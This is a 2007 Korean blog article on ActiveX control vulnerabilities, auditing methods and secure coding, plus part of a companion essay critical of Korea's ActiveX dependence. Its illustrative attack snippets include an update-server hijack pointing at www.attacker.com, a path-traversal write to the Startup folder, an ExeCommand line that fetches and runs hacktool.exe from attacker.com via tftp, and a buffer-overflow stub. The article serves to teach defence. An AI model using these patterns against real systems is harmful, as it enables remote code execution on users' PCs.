그렇다면 ActiveX 컨트롤은 도대체 어느 정도에 쓰여지는지를 알아보면, 윈도우 기본 컨트롤은 물론이며, 메신저 프로그램, 동영상 및 음악 플레이어, 온라인 게임설치 프로그램, 공인인증서, 보안프로그램(키로거, PC 방화벽, 스파이웨어 등) 등에서 사용되고, 이는 거의 모든 국내 사이트에서 ActiveX 컨트롤이 사용되고 있음을 의미한다. 문제는 이러한 ActiveX 컨트롤의 설치 여부를 사용자가 오판하여 문제가 발생하는 경우 외에도 2002년 이후에 나오는 대부분의 애드웨어 등은 ActiveX 또는 IE 취약점을 이용하는 경우가 대부분이며, 이러한 취약점을 이용하기 때문에 확인 버튼을 누르는 것과는 관계없이 자동으로 설치되는 경우가 대부분이다.

 

[이미 악성코드가 설치된 웹 서비스]

[악성코드가 숨겨진 스크립트 내역]

 

따라서 사용자는 본인의 의지와는 관계없이 특정 악성코드가 설치된 웹 사이트를 방문하는 것 만으로도 악성 ActiveX 컨트롤이 설치된다. 이러한 경우, 최소한의 PC 보안 장치 조차 없는 경우에는 거의 사용자는 무방비 상태로 방치되며, 사용자는 보안에 대한 상당 수준의 지식이 없으면, 이러한 악성 컨트롤이 설치된 여부를 알지 못하는 경우가 일반적이다. 사실 이러한 경우에는 해당 사이트 규모에 따라서 엄청난 규모의 피해가 나타날 수도 있는데, 공공 사이트 또는 포털 사이트 및 SNS(Social Network Service) 사이트 및 게임 사이트의 경우에는 단일 사용자가 1,000만명을 넘는 경우도 존재하는데, 각종 스크립트 인젝션 등의 자체 취약점을 이용하거나, ActiveX 컨트롤 취약점을 이용하게 될 경우, 1,000만명이 사용하는 PC 전체의 권한의 획득은 물론이고, 개인정보의 획득 또한 가능하게 된다.

 

<OBJECT classid="CLSID:ABCDEFGH-123A-1234-ABAB-AAAAAAAAAAAA"  codebase="http://100.100.100.100:80/Vulnerable.cab#version=2,5,6,6" id=OBJECT1" id="OBJECT1" id="Vulnerable" id="Vulnerable"

 height=1 id="Vulnerable" style="HEIGHT: 1px; LEFT: 1px; TOP: 1px; WIDTH: 1px"

 width=1 VIEWASTEXT>

 <PARAM Name="Server_IP" value="100.100.100.100">

 <PARAM Name="Server_PORT" value="80">

 <PARAM Name="IVER" value="2,5,4,55">

 <PARAM Name="LoadStart" value="TRUE">

 <PARAM Name="Debug" value="FALSE"></object>

[업데이트 관련 취약성이 존재하는 ActiveX 컨트롤]

 

위 스크립트를 보면, 인터넷 익스프롤러(이하 IE)는 위 스크립트를 실행하고 Server_IP라는 인자에 설정된 주소로 업데이트 요청을 시도하는 것을 확인 할 수 있다. 위 스크립트의 경우 http://100.100.100.100/Vulnerable/Vulnerable.exe를 다운로드 받도록 되어있었다. 그러나 위 스크립트는 사용자 브라우저에서 실행되어지는 것이므로 관련 스크립트에 정의된 Server_IP와 같은 인자값이 조작되는 것이 가능하였다.

 

<OBJECT classid="CLSID:ABCDEFGH-123A-1234-ABAB-AAAAAAAAAAAA"  codebase="http://100.100.100.100:80/Vulnerable.cab#version=2,5,6,6" id=OBJECT1" id="OBJECT1" id="Vulnerable" id="Vulnerable"

 height=1 id="Vulnerable" style="HEIGHT: 1px; LEFT: 1px; TOP: 1px; WIDTH: 1px"

 width=1 VIEWASTEXT>

 <PARAM Name="Server_IP" value="www.attacker.com">

 <PARAM Name="Server_PORT" value="80">

 <PARAM Name="IVER" value="2,5,4,55">

 <PARAM Name="LoadStart" value="TRUE">

 <PARAM Name="Debug" value="FALSE"></object>

[업데이트 위치를 조작한 경우]

 

만약 공격자가 위 스크립트에서 Server_IP를 자신의 공격용 서버로 변경하고 자신의 서버에 악성코드가 심어진 Vulnerable.exe 업데이트 파일을 올려놓을 경우, 공격자는 해당 사용자 PC의 관리자 권한을 획득하는 것이 가능하게 되었다.

 

                    [사이트 방문시 자동으로 악성코드가 인스톨된 상태]

 

이처럼 이미 신뢰상태에 있는 ActiveX 컨트롤의 업데이트와 같은 방법을 통해 확인절차 하나 없이도 공격자는 스스로의 악성 코드를 사용자에게 이식시킬 수 있고, 심지어 원격에서 조정도 가능하다.

 

                                            [악성 코드가 삽입된 메일 발송]

 

위의 그림에서는 일반적인 메일 서비스를 이용해서 악성코드가 삽입된 메일을 발송한 예가 된다.


 

[ActiveX 컨트롤 취약점을 이용하여 IRC 채널을 통한 원격 PC 접속]

 

위 그림에서는 ActiveX 컨트롤 취약점을 이용하여 스크립트가 삽입된 악성 메일을 특정 사용자에게 보내게 되면, 사용자는 의심 없이 해당 메일을 받아들임과 동시에 악성 코드에 감염이 된다. 이러한 경우, 공격자는 방화벽을 우회하여 기업 내에 존재하는 원거리 시스템을 실시간으로 조작할 수 있을 정도의 권한의 획득이 가능해 진다. 이러한 경우 하나의 조직 내에 이러한 취약점이 존재할 경우, 해당 조직에서 사용하는 전체 PC의 권한 획득이 가능함은 물론이며, 특정 기밀 정보의 유출 또한 가능해 진다. 또한, 엄청난 수의 사용자가 방문하는 웹 사이트에 이러한 취약점이 존재할 경우에는 재앙이라고 표현 가능할 정도의 파급도가 예상된다.

 

이러한 ActiveX 관련 취약점 유형에는 위에서 언급한 업데이트 관련 내역 말고도 상당한 응용이 가능한 취약점 유형이 다수 존재하고 있는데, 대략적인 내역을 살펴보면 다음과 같다.

 

 

 

 

1. File Read/Write Method 조작

 

<OBJECT ID=mymusic" WIDTH=0 HEIGHT=0

 CLASSID="CLSID:AAAAAAAA-A1B1-ABCD-AAAA">

</OBJECT>

 

<script>

Mymusic.SetBannerImage(http://vulnerable.co.kr/big.gif);

</script>

// 원래의 저장 경로 : c:\program files\mymusic\data\big.gif

[정상적인 File Read/Write Method]

 

<OBJECT ID=mymusic" WIDTH=0 HEIGHT=0

 CLASSID="CLSID: AAAAAAAA-A1B1-ABCD-AAAA ">

</OBJECT>

 

<script>

Mymusic.SetBannerImage(

http://vulnerable.co.kr/..\..\.\documents and settings\All users\시작 메뉴\프로그램\big.bat);

</script>

// 조작된 저장 경로 : c:\Documents and Settings\All users\

시작 메뉴\프로그램\시작프로그래\big.bat

[조작된 File Read/Write Method]

 

위의 경우에는 File Operation 기능을 우회하여, 임의의 경로에 존재하는 임의의 파일을 쓰거나 실행시킬 수 있었다. 현재 국내에서 상당히 많은 수의 사이트에서는 Read/Write File과 같이 직접적인 Method를 제공하는 ActiveX 컨트롤도 다수 존재하며, 이러한 경우에는 개발자가 미처 생각지 못했던 Method, Property를 호출해 우회적으로 임의의 파일을 쓰거나 실행시키는 공격방식이 존재한다. 위의 경우에서는 파일 쓰기권한을 획득한 경우 기존 파일을 덮어쓰거나, c:\documents and settings\All users\시작 메뉴\프로그램\시작프로그램 폴더에 파일을 생성해 다음 번 로그인 또는 부팅 시에 파일이 악성 파일이 자동으로 실행되게 할 수 있었다.

 

2. 시스템 자원에 대한 접근 방식

과거 C언어에서 System 함수와 같은 역할을 하는 Method를 과감히 사용하는 경우도 대단히 많이 존재하는데, SetRegistryValue, GetRegistryValue 등 레지스트리에 대한 직접적 조작이 가능한 Method는 잠재적으로 모두 취약할 가능성이 99.99%라고 보면 될 듯 싶다. 따라서 이러한 경우에는 아래와 같은 방식으로 간단히 공격용 도구를 시스템에 설치하고 실행시키는 방식이 존재한다.

 

ExeCommand(tftp i attacker.com GET hacktool.exe c:\hacktool.exe);

ExeCommand (c:\hacktool.exe);

 

3. 보안영역 접근 방식

일반적으로 IE는 현재 페이지의 보안영역에 따라 서로 다른 수준의 보안수준의 설정을 한다는 것을 알 수 있는데, 보안영역은 해당 페이지가 속한 도메인이 무엇인가에 따라 결정된다고 보면 된다. 이러한 영역구분은 인터넷 영역, 인트라넷 영역, 내컴퓨터 영역으로 구분된다.

 

인터넷 영역은 사실상 로컬자원에 대한 접근은 금지되며, 인트라넷 영역은 인터넷 영역과 마찬가지로 로컬 자원에 대한 접근이 금지된다. 내컴퓨터 영역에서는 file:///c:/test\test.html과 같이 파일시스템에서 직접 페이지를 열게 되는 경우에 접근이 가능한 영역이다. 따라서 공격자의 웹 페이지가 IE에서 인터넷 영역이 아닌 내컴퓨터 영역으로 인식되게끔 하는 기법들이 다수 선보이고 있다. 보통 Cross Zone, Cross Domain 관련 취약점으로 명명되고 있다.

 

 

[MS05-001 취약점 내역]

 

위의 그림에서는 ntshared.chm 파일을 오픈하게 되어 있었으나, 해당 페이지에 Javascript Injection하게 되면, 이때 실행되는 영역은 내컴퓨터 영역이므로, 로컬자원에 접근이 가능하게 된다.

 

4. Buffer Overflow 계열

기본적인 어플리케이션 취약점 유형이며, 사실상 이러한 취약점은 Method 또는 Property에 대한 조작이 가능하기 때문에 발생한다.

 

<OBJECT ID="update" WIDTH=0 HEIGHT=0

 CLASSID="CLSID:AAAAAAAA-AAAA-AAAA-AAAA-AAAAAAAAAAAA">

 

<PARAM NAME=pam1 VALUE=AAAAAAAAAAAAAAAAAAAAAAA>

 

</OBJECT>

 

<script>

 

           update.UpdateURL = "http://AAAAAAAAAAAAAAAAAAAAAA..................AA";

           update.CreateMenu(type:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA;

 

</script>

 

이러한 문제점은 일반적이기도 하지만 의외로 상당수의 ActiveX 컨트롤에서 발견되는 취약점 유형이기도 하다.

 

그럼 지금부터는 이러한 ActiveX 컨트롤 취약점에 대한 진단을 어떻게 하는 것이 좋은지에 대해 알아보기로 한다. 사실상 ActiveX 컨트롤의 취약점에 대한 진단은 공격 방식을 거의 그대로 재연하는 과정이며, 이러한 과정을 토대로 ActiveX 컨트롤의 보안성 향상에 지속적인 감사(Audit)를 실시하는 것이 바람직하다.

 

1. OLEView를 이용한 ActiveX 컨트롤 정보의 수집

OLEView MS사 홈페이지에서 무료로 다운로드 가능하며, Visual Studio 또는 Resource Kit에도 포함되어 있으므로 쉽게 구할 수 있을 것이다. OLEView를 이용하게 되면, 컨트롤의 기본적 정보라고 할 수 있는 Method, Property, Help String 등에 대한 정보의 확인이 가능하다.

 

[OLEView 실행 화면]

 

따라서 위와 같이 OLEView를 실행하여, Method, Property내역을 토대로 대략적인 기능에 대한 파악이 가능하다. 이러한 것을 토대로 Mnemonic화된 Method, Property내역에서 위에서 언급된 취약점에 해당하는 Operation이 존재하는지의 여부를 선행 검토하도록 한다.

 

2. ActiveX 컨트롤 호출구조 분석

HTML이나 JavaScript, VBScript 등에서 ActiveX 컨트롤이 호출되는 구조를 분석하도록 한다. 이때는 일반적인 소스보기 기능을 이용하거나, 웹 프락시, 웹 디버거, DOM 분석기 등을 이용하면, 쉽게 구조에 대한 파악이 가능하게 된다.

 

[DOM Analyzer를 이용한 분석]

 

따라서 이러한 도구를 이용해 ActiveX 컨트롤 호출을 위한 Request, Response의 조작이 가능한지의 여부와 JavaScript의 조작이 가능한지의 여부에 대한 검토를 수행하여야 한다. 또한, <OBJECT> 자체에 대한 생성을 조작하거나 제어가 가능한지의 여부에 대한 검토는 반드시 필요하다.

[웹 디버거를 이용한 분석]

 

위의 경우에서처럼 웹디버거를 이용한 분석도 대단히 효과적인 방식을 제공하는데, MS의 스크립트 디버거 또는 Visual InterDev등의 웹 개발 도구를 이용하면, 효과적인 감사(Audit)가 가능하다. 웹 디버거는 일반적인 애플리케이션 개발용 디버거와 마찬가지로 실행 도중 스크립트 변수의 조작이 가능하고, Break-Point의 설정 또한 가능하여, 스텝 별로 꼼꼼한 감사가 가능하다. Object를 호출하는 경우에도 변수형태로 전달되는 경우, 그의 값을 쉽게 관찰 가능하며, 또한 동시에 디버깅이 가능하다.

 

3. 자동화 이용

최근에는 자동화를 통해 많이 알려진 ActiveX 컨트롤 관련 취약점을 찾아내는 도구들이 많이 선보이고 있는데, 주로 Fuzzer라고 불리는 도구들을 이용하면 된다. 대표적인 도구에는 COMRaider, AXFuzz, Hamachi 등이 있으며, 쉽게 구할 수 있으나, 이러한 Fuzzing 기법을 통해 취약점을 찾아내는 방식이 주로 취약점에 대한 무작위 대입(Brute Force)과 같은 방식을 이용하기 때문에 취약점의 발견 자체가 일종의 확률과 운에 좌우되는 경우도 존재한다는 점이 문제라고 볼 수 있으며, 이것은 자동화 방식이기 때문에 어쩔 수 없는 부분도 있다.

 

[COMRaider 실행 화면]

 

ActiveX 컨트롤 취약점에 대한 공격을 수행하다 보면, 각종 어드레스를 수작업으로 맞추어줘야 하는 부분도 존재하며, 이러한 선행 작업 이후에 공격이 성공할 수가 있는데, 아무래도 자동화 과정에서는 이러한 세밀한 공격의 가능성 여부를 완전하게 점검하는 것은 쉽지가 않은 일이다.

 

ActiveX 컨트롤을 개발할 때, 주의해야 할 점은 아래와 같다.

 

구분

주의할 점

컨트롤 실행

누구든지 내가 만든 컨트롤을 실행할 수 있다는 점을 명심하여야 하며, 이는 해당 컨트롤이 정상적인 사이트 뿐만이 아닌 공격자 사이트에서도 실행될 수 있다는 점을 인지해야 한다

설계

외부에 노출시킬 Method, Property를 설계할 때는 특히 로컬자원에 접근할 수 있는 지의 여부를 철저하게 검토하여야 한다. 또한, 이러한 Method, Property는 가급적 이용하지 않도록 한다.

코딩

ActiveX 컨트롤은 사실상 사용자가 공격자라는 보안적 측면을 고려하지 않으면 안 된다. 입력값에 대해서는 위조될 수 있다는 측면을 끊임없이 고민해야 하며, 해당 입력값의 필터링에 대한 대책은 설계 단계에서 미리 고민해야 한다

입력값에 대해서는 필터링과 동시에 Buffer Overflow에 대한 대책을 동시에 구현해야 한다

파일명을 비롯한 각종 설정값은 언제든지 변조 될 수 있다는 점을 고려해야 한다. 따라서 조작된 URL Filename에 대한 적절한 필터링 및 해당 값에 대한 검증 절차를 구현하는 것이 바람직 하다

도메인 제한

ActiveX 컨트롤이 특정 도메인에서만 실행된다면 이를 명시적으로 구현하는 것이 바람직하다. 따라서 해당 도메인에 대한 확인 절차를 부가적으로 구현하고 허가되지 않은 도메인에서의 실행에 대해서는 거절할 수 있도록 한다

Safe for Initialization, Safe for Scripting

ActiveX 컨트롤이 로컬자원에 접근할 수 있는 경우 Safe for Initialization, Safe for Scripting 카테고리에 추가하지 않아야 한다

 

흔히 개발자는 ActiveX 컨트롤이 개발환경에서 정의한 사이트에서만 실행 가능하다고 착각한 상태에서 릴리즈 하는 경우가 많은데, ActiveX 컨트롤은 정상적인 사이트뿐만이 아닌 공격자의 사이트에서도 실행될 수 있다는 점은 개발자가 항상 인지해야 하는 점이며, ActiveX를 쓰고자 하는 목적이 로컬자원에 접근해야 하는 점이라면, 이에 대한 대체통제적 구현을 별도로 구현해야 한다. 선의의 목적에서 개발한 개발자의 컨트롤이 공격자에 의해 오히려 공격의 시작지점이 된다면 곤란하지 않겠는가? 따라서 해당 로컬자원에 접근하는 명령어를 명확히 하거나, 특정 파일과 레지스트리에 대한 전체 접근을 허용하지 않도록 고려해야 한다. 내가 설계한 시스템 로컬권한 접근은 공격자도 가능하다는 점을 인지해야 한다.

 

ActiveX 컨트롤의 코딩 시에는 일반적인 어플리케이션 개발과 마찬가지로 각종 입력값에 대한 명확한 정의와 길이에 대한 체크가 필요로 하다. 또한, 특정 파일명이나 각종 설정값은 언제든지 조작될 수 있다는 가정하에서 개발에 임해야 한다. 따라서 이러한 절차에서는 각종 파일명이나 디렉터리에 대한 명확한 정의 및 각종 설정값에 대한 필터링은 기본적으로 구현하는 것이 바람직하다.

 

또한, 공격자는 ActiveX 컨트롤을 특정 도메인으로 제한하는 절차를 따르는 것이 바람직하다. 이것은 허락 없이 공격자나 악의적 목적에서 다른 사람이 컨트롤을 재사용하지 못하도록 하는데 유용하다. 이에 대한 상세한 내역은 http://support.microsoft.com/kb/q196061/을 참조하면 된다.

 

기본적으로 MFC ActiveX 컨트롤은 스크립트 사용에 안전(Safe for Scripting) 또는 초기화에 안전(Safe for Initialization)으로 표시되지 않으며, 이것은 보안 수준이 보통 이상으로 높게 설정된 IE에서 컨트롤을 실행할 때 볼 수 있다.( http://support.microsoft.com/kb/161873/ko) 따라서 이에 대한 내역으로는 컨트롤의 데이터가 안전하지 않거나 컨트롤이 스크립트를 사용하기에 안전하지 않을 수도 있다는 내용의 경고가 표시될 수 있으며, 이러한 오류를 없애기 위해서는 실제로 안전한 컨트롤에 대해서만 정말로 안전하다는 표기를 해야 하는데, 상세한 http://support.microsoft.com/kb/161873/ko 내역을 참조하도록 한다.

 

맺음말

 

TCP/IP를 몰라도 네트워크 프로그래밍을 할 수 있을 정도로 개발환경은 지속적인 진화를 거듭해 가고 있으며, ActiveX 컨트롤로 포장된 우리나라의 웹 서비스 수준과 이를 통한 실제 활용은 세계적이라고 할 수 있다. 실제로 2006 8월 달에 insidepolitics에서 발행된 자료(http://www.insidepolitics.org/egovt06int.pdf)를 보면 국가별 E-Government Ranking 순위가 발표되었는데, 대한민국 전자정부는 60.3점으로 1위를 차지했을 정도로 우리나라의 인터넷 환경은 자부심을 가져도 좋을 만큼의 놀라운 성장을 지속하고 있다.

 

하지만, 이 자료의 평가 기준 세부 내역을 연구해보면, Online Service, Publications, Databases, Privacy Policy, Security Policy, W3C Disability Accessibility1) 6개 항목으로 점수가 구분되어 있으며, W3C Disability Accessibility(장애인 접근성) 항목은 OECD 국가 29개국(EU 제외) 25위로써 거의 최하위라는 것을 알 수가 있는데, 이것은 사실상 국내의 웹 서비스 수준이 양적으로는 우수하지만, 다양한 웹 접근성 확보 측면에서는 사실상 낙제점을 받았다고 볼 수가 있으며, 이는 비단 전자정부뿐만이 아니라 일반적인 국내 웹 서비스 수준을 대변하는 지표로 해석될 수 있다고 본다.

 

웹 서비스를 위한 기반 기술이 서비스 품질 향상과 보안을 만족하는 형태로 나아가는 것이 바람직하다고 한다면, 이제는 서비스 철학이라는 한가지의 명제에 대해 더 고민해야 하는 시기가 왔다고 본다. 따라서 플랫폼에 의존적인 ActiveX와 같은 기술에서 벗어나고자 하는 노력을 이제부터라도 게을리해서는 안 된다고 생각한다. 기반기술의 선택은 단순히 구현 가능성 및 적용 편의성만을 고려하는 단계를 벗어나야 하며, 이제는 웹 서비스를 위한 좀 더 넓은 거시적 시각을 확보하는 것이 바람직하다. -끝-

 

 

1) 해당 문서에서 언급한 W3C Disability Accessibility 항목은 W3C(World Wide Web Consortium)의 표준(Guideline)을 충족하는 자동화 검사 도구(Bobby 5.0)를 이용하여, 웹 사이트의 컨텐츠 품질(Quality), 접근성(Accessibility), Privacy 항목에 대해 검사한 결과이며, 해당 항목은 장애인 접근성(Disability Accessibility)으로 해석이 되지만, 사실상 웹 접근성(Web Accessibility) 항목의 비중이 거의 대부분임.



신고

 
 
     ActiveX, ActiveX 컨트롤, security, 보안, 정보보호
     0   2
BlogIcon somma 2007.05.08 23:44 신고
재밌는 글 잘 보고 갑니다.
항상 느끼는 거지만 jerry 님은 글을 참 잘 쓰시는 것 같아요 ^^
멋지심다.
BlogIcon Jerry 2007.05.11 15:41 신고 
재미있게 보셨다니 다행입니다. 잡지사에서 좀 재미있게 써달라고 해서 이런저런 내용들을 주렁주렁 달아봤는데, 부족함을 많이 느끼게 됩니다.

아이디 
비밀번호 
홈페이지 
비밀글   

 

 

비판적 시각에서의 ActiveX 기술
+   [Security]   |  2007.04.10 15:46  
비판적 시각에서의 ActiveX 기술

[글 싣는 순서]
1. 비판적 시각에서의 ActiveX 기술
2. ActiveX 취약점에 대한 이해와 보안

프로그래밍에 대한 좀 더 창조적인 접근과 방법에 대한 자료를 찾다 보면 이미 수많은 보안관련 엔지니어들이 “How To Become A Hacker(http://www.catb.org/~esr/faqs/hacker-howto.html)” 라는 대단히 유명한 글을 접했다는 것을 알 수가 있는데, 이 글을 쓴 사람은 Eric Steven Raymond씨 라는 것을 알 수 있다.

사실 Eric S. Raymond씨는 1998년 11월 1일 할로윈데이에 발표한 “Halloween Document”라는 놀라운 문서를 발표한 장본인이기도 하다. 이 문서는 MS가 당시 Netscape, Linux등의 급격한 S/W 시장의 성장을 방어하기 위한 내부 문건이었는데, 바로 “Halloween Document(http://en.wikipedia.org/wiki/Halloween_documents)”가 MS의 내부 문건을 설명하고 있는 자료이며, 당시 MS의 엔터프라이즈 마케팅 그룹 메니저인 Ed Muth씨는 해당 내부 문건의 존재를 인정했다.

이 문서로 인해 MS의 Open-Source Software에 대한 대외적 전략이 노출되게 되었고, 이 전략은 후에 FUD(Fear, Uncertainty, Doubt)로 불리게 된다. 이 전략은 경쟁 제품에 대한 막연한 두려움이나, 의심과 같은 정보를 생산하고 각종 컨퍼런스 등에서 공공연히 유포하는 마이너 전략으로써 당시 급격히 상승하는 경쟁 제품(Open-Source Software)의 점유율에 따른 MS의 미래에 대한 두려움이 이 문서에 녹아 있다.

이 문서에는 프로토콜의 비표준화 및 비공개를 통한 가격 상승 및 경쟁 억제와 같은 MS의 현재의 모습이 그대로 투영되고 있으며, 이러한 전략은 소스코드의 비공개로 인한 S/W 호환성의 한계를 극명하게 나타내는 것은 물론이며 MS만을 위한 프로토콜 양산으로 인해 공유와 개방이라는 인터넷의 기본적 철학을 정면으로 부정하는 결과로 나타나게 된다. 이러한 부분은 세계적인 기업인 Google과 MS가 기업철학적인 측면에서 가장 비교되는 부분이며, 反 MS 정서를 만들게 된 배경이 되기도 한다. 이러한 배경에서 Google의 경영철학이 ‘악해지지 말자(Don’t be Evil)”라고 하는데, 악함(Evil)의 대상이 누구였는지는 어느 정도 유추가 가능하다고 볼 수도 있다.

오늘의 주제인 ActiveX라는 것은 누구나 아는 것처럼 MS가 만든 기술이며, 당연히 소스와 프로토콜이 공개되지 않았고, 이의 결과로 ActiveX는 Internet Explorer(이하 ‘IE’)에서만 구동되는 부작용을 낳게 되었다. “Halloween Document”를 본 사람이라면 MS가 추구하는 목표라는 것은 결국 쉽게 말해서 ‘MS 사용자만을 위한 인터넷 세상 만들기’라는 것을 알 수 있다. 사실 ActiveX라는 기술은 대단히 혁신적인 기술임에 틀림없고 2007년 지금의 현실에서도 ActiveX의 역할을 대체할 만한 확고한 기술이 눈에 띄지 않는 다는 점에서 대단히 높게 평가 받을 만 하다는 점은 분명해 보인다.

ActiveX 기술을 이용하게 되면 프로그래머의 손에 마술지팡이를 쥐어 준 것과 같이 기존에는 생각지도 못했던 기술의 구현이 가능해지고 시스템과 프로그램이 한 몸이 된 것과도 같은 User Interface를 쉽게 구현할 수도 있다. 그러나 2007년 MS가 VISTA와 IE7을 출시하면서 변화가 일어나게 되었다. MS 스스로가 ActiveX 기술을 부정하는 사건이 발생한 것이다. VISTA와 IE7에서는 ActiveX 컨트롤을 공격위험요소로 판단하고 이의 사용을 차단하는 메커니즘을 도입해 버렸다. 사실 잘못 만들어진 ActiveX 컨트롤은 사용자 OS에 블루스크린이 뜨는 원인이 되는 경우가 허다했고, 원인이 무엇인지 모르는 사용자는 MS Windows의 문제라고 판단하는 경우가 비일비재 하기 때문에 MS의 입장에서도 ActiveX 컨트롤 문제는 아주 머리가 아픈 존재임에 틀림 없었을 것이다.

또한, 가장 중요한 문제는 대부분의 MS Windows를 위협하는 공격 요인이 사실상 ActiveX 형태를 가진다는 점 이었다. 사실상 ActiveX 컨트롤은 누구나 만들 수 있으며, 앞서 언급한 바와 같이 ActiveX 기술은 프로그래머들에게 마법의 지팡이와도 같은 역할을 하기 때문에 악의적 시스템 조작과 같은 크래킹을 쉽게 만드는 원인을 제공하는 양날의 검과 같은 역할을 충분히 수행할 수 있었다. MS에서 ActiveX에 대한 정책을 수정하면서 가장 큰 타격을 받는 곳은 다름아닌 우리나라가 가장 피해가 클 것이라고 본다. 관공서, 은행과 같은 곳은 물론이며, 포탈 서비스와 심지어 개인홈페이지 수준까지 외국에서는 사례를 찾아보기 힘들 정도로 대한민국은 ActiveX 기술에 종속되어 있었던 것이 사실이며, 이에 대한 원인으로 IT 평론가인 김국현님은 4가지를 열거하고 있다.
1.당시 미국의 128비트 암호화 수출 금지 조항에 맞선 독자 기술(SEED)의 개발과 적용 지도
2.한국의 특수 상황이 발생시킨 정보 기관의 지침(보안 적합성 검증)
3.독자적 최상위 인증 기관 운영 욕구
4.해킹 피해 발생 보도에 대한 과민 반응
과거에 발표되는 취약점의 상당수는 MS에서 배포한 ActiveX 취약점을 이용하는 경우가 많았고, 공격자의 입장에서는 상당히 쉬운 방법을 통해 PC를 원격 조정(Arbitrary Code Execution)하는 것이 가능했다. 그러나 MS는 지속적으로 패치를 내 놓고, 대응 인프라도 갖추어 왔기 때문에 MS에서 배포한 ActiveX 취약점은 찾기 쉽지 않은 지경이다. 그러나 MS이외의 국내 및 해외의 일반 개발사에서 제작된 ActiveX의 대부분은 기본적인 보안성 검증에 대한 절차 없이 프로그래밍되어 취약할 뿐만 아니라 MS처럼 패치를 내 놓기도 쉽지 않은 상황이어서 하나의 ActiveX 취약점은 사회적인 골치거리가 될 수도 있다.

사회적인 골치거리라는 문장을 선택한 이유는 ActiveX가 사용되는 환경 특성상 그 이용범위가 대단히 광범위할 수도 있다는 점 때문이다. 해외 유명 서비스들을 살펴보면 ActiveX를 이용하는 빈도가 너무나도 낮다는 것을 확인할 수 있는 반면에 국내의 경우에는 ActiveX 없는 사이트를 찾아보기 힘든 지경이다. 이러한 현실에서 1,000만명 이상이 사용하고 있다는 SNS(Social Network Service)와 같은 서비스의 ActiveX에서 취약점이 발생할 경우, 이론적으로는 1,000만대의 PC에 대한 권한을 획득할 수 있다는 뜻이 된다.

이 정도라면 ActiveX는 향후 국내 인터넷 환경의 신뢰성에 문제가 될 가능성이 충분존재하며, 현실적으로 현행 사이트의 10곳 중에서 7군데 정도의 ActiveX 취약점 발생빈도가 존재한다고 하는 현실을 감안한다면, 왜 사회적인 골치거리가 될 수 있는지에 대한 답이 될 수 있다고 본다.

우리에게 있어 WWW(World Wide Web)이란 무엇이었던가? 1990년대 초반 Tim Berners-Lee(이하 ‘TBL’) 에 의해 창조되고, 폭발적으로 성장해온 웹 기술은 기존의 Web을 떠나 이제 Web 2.0의 시대에 도달한 듯싶다. Web 2.0의 영향은 그것이 시대적인 Trend인지? 마케팅 차원의 립서비스 인지를 떠나서 우리의 생활에 직, 간접적으로 영향을 받고 있는 것은 분명해 보인다. 그렇다면 우리의 일상생활을 지배하는 웹의 근본적 철학은 무엇이었는가?

1991년 8월 6일에 TBL은 “a short summary of the World Wide Web project”이라는 글을 ‘alt.hypertext’ Newsgroup에 공개했는데, 이것이 바로 지금 우리가 웹 서비스를 이용할 수 있는 출발점이 되었다. W3C(World Wide Web Consortium)에 따르면 웹은 “웹의 모든 잠재력을 이끌어내기 위해서 가장 기본적인 웹 기술은 상호 간의 호환성이 있어야 한다는 것, 그리고 어떤 소프트웨어나 하드웨어에서도 웹을 접근할 수 있어야 한다는 것”이라고 정의하고 있다. 이것을 한마디로 정의한다면 웹의 기본 철학은 ‘공유와 개방’이라고 할 수 있다. 공유와 개방이라는 것은 공개 될 수 있는 모든 정보가 환경적, 독점적, 기술적 지배를 받지 않고 자유롭게 유통 될 수 있는 Communication의 혁명을 의미한다.

결국 웹 이라는 것은 기계가 아닌 인간이 주체가 되고, 그 주체는 가치를 생산하고 그 가치를 공유하는 하나의 새로운 세상. 이것이 애초에 TBL이 주창했던 웹의 미래였다. 우리나라에서도 최근 변화의 움직임이 구체화되고 있는데, 고려대 법대 김기창 교수를 주축으로 ‘오픈웹(http://open.unfix.net)’이라는 단체에서는 웹 표준화 운동에 앞장서고 있다. 오픈웹이 추구하는 웹 표준화와 ActiveX를 바라보는 시각에 대해 알아보기 위해 김기창 교수와 인터뷰를 가졌다.

사용자 삽입 이미지

 [사진] ‘오픈웹’을 이끌고 있는 김기창 고려대 법대 교수

- 보안측면에서도 김기창 교수와 오픈웹의 최근 행보는 상당한 관심을 가지고 지켜보고 있다. 또한, 최근 오픈웹에서는 금융결제원을 상대로 손해배상 청구 소송을 제기 한 것으로 알고 있다.
“기업과 같은 영리를 위한 기업 단위에서는 그 기업이 어떤 선택을 하던지 스스로 책임을 지면 되는 것이고, 스스로의 서비스에 대해서 그 누구도 뭐라고 할 수 없다고 본다. 그러나, 공공 서비스의 제공에 따른 선택은 법적으로 정의된 모든 법적 사항을 준수하여야 한다. 이러한 점에서 오픈웹은 공공 서비스를 제공하는 금융결제원에 대해 공인인증서비스의 편파적, 차별적 서비스 제공이 실정법을 위반했다고 보고 있으며, 이를 근거로 손해배상을 청구하고 있다.”

- 인터뷰 요청에서 밝혔던 바와 같이, 사실 오늘 주제는 ActiveX인데, 오픈웹이 바라보는 ActiveX는 무엇인가?
“보안측면에 대한 이야기를 꼭 하고 싶었다. 이 부분에 대해서는 사실 논쟁이 더 이상 필요없다고 본다. 이미 MS는 최근 VISTA, IE7에서 ActiveX를 버렸지 않은가? 또한, 수많은 ActiveX의 남발로 인해 보안성 강화를 위한 노력이 오히려 ActiveX 그 자체로 인해 보안성이 떨어지는 경우가 존재한다는 점은 주목해야 한다”

- 외국의 경우 ActiveX의 이용 현황은 어떻다고 보는가?
“최근 VISTA로 인해 홍역을 치루고 있는 나라는 우리나라가 유일하다고 본다. 그 만큼 우리나라의 차별적, 편파적 서비스가 아무런 비판 없이 수용되고 있었다는 점이 문제라고 본다. 스페인, 덴마크 등은 우리나라와 같이 공인인증서를 널리 사용한다. 그러나 여기에 사용된 기술은 액티브X 기술이 아니다. 이들은 JAVA Applet 기술로 공인인증서 기술을 구현하고 있으며, JAVA Applet은 알고 있는 바와 같이 모든 운영체제, 모든 웹 브라우저에서 정상 작동한다. 따라서 이용자가 무슨 웹 브라우저를 사용하든 차별 없이 인증서를 이용할 수 있다. 바로 이러한 점이 국내와 외국의 차이점이라고 본다. 우리나라는 어떤가? 특정 OS에서만 가입이 가능하고, 특정 브라우저만을 이용해야 서비스의 이용이 가능하다. 결국 개인의 의지와는 관계없이 특정 OS와 특정 브라우저의 이용을 공공 서비스가 강요하고 있는 것이다. 이것은 웹 표준화를 떠나서 문제가 있는 서비스 방식임에는 틀림없다."

